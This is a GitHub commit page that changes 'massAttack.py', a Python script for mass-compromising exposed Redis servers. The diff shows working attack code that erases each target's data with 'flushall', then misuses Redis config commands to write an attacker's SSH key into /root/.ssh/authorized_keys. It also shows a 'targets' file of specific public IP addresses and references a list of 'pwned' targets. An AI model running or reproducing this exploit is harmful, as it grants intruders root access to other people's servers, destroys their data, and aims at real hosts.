Skip to content

Commit

Permalink
and shell=True option for all command
Browse files Browse the repository at this point in the history
  • Loading branch information
giaplv57 committed Sep 4, 2016
1 parent 8f8ce29 commit 94fb4e5
Show file tree
Hide file tree
Showing 3 changed files with 9 additions and 11 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ id_rsa
id_rsa.pub
promisingTargets.txt
pwnedTargets.txt
targets
17 changes: 7 additions & 10 deletions massAttack.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,35 +3,32 @@
import socket
import paramiko

def run_command(command, shellBoolean = False):
def run_command(command):
try:
if(shellBoolean == False):
out_bytes = subprocess.check_output(command.split())
if(shellBoolean == True):
out_bytes = subprocess.check_output(command, shell = True)
out_bytes = subprocess.check_output(command, shell = True)
# out_text = out_bytes.decode('utf-8')
except subprocess.CalledProcessError as e:
out_bytes = e.output # Output generated before error
code = e.returncode # Return code
return out_bytes

def gererateRSAKey(passphrase):
run_command('rm -rf ./id_rsa ./id_rsa.pub', True)
print run_command('ssh-keygen -t rsa -C "crackRedis" -f ./id_rsa -P {0}'.format(passphrase), True)
run_command('(echo "\\n\\n"; cat ./id_rsa.pub; echo "\\n\\n") > foo.txt', True)
run_command('rm -rf ./id_rsa ./id_rsa.pub')
print run_command('ssh-keygen -t rsa -C "crackRedis" -f ./id_rsa -P {0}'.format(passphrase))
run_command('(echo "\\n\\n"; cat ./id_rsa.pub; echo "\\n\\n") > foo.txt')

def attack(target):
print 'Attack the target: ' + target
print 'Flush all the old data...'
print run_command('redis-cli -h {0} flushall'.format(target))
print 'Push key data to the memory...'
print run_command('cat ./foo.txt | redis-cli -h {0} -x set crackit'.format(target), True)
print run_command('cat ./foo.txt | redis-cli -h {0} -x set crackit'.format(target))
print 'Set the /root/.ssh/ to current directory...'
print run_command('redis-cli -h {0} config set dir /root/.ssh/'.format(target))
print 'Get the current dir...'
print run_command('redis-cli -h {0} config get dir'.format(target))
print 'Set key data to authorized_keys database key..'
print run_command('redis-cli -h {0} config set dbfilename "authorized_keys"'.format(target), True)
print run_command('redis-cli -h {0} config set dbfilename "authorized_keys"'.format(target))
print 'Write key data to authorized_keys file...'
print run_command('redis-cli -h {0} save'.format(target))

Expand Down
2 changes: 1 addition & 1 deletion targets
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
104.131.53.7
153.92.126.24
23.95.25.245
42.96.189.34
42.96.189.34

0 comments on commit 94fb4e5

Please sign in to comment.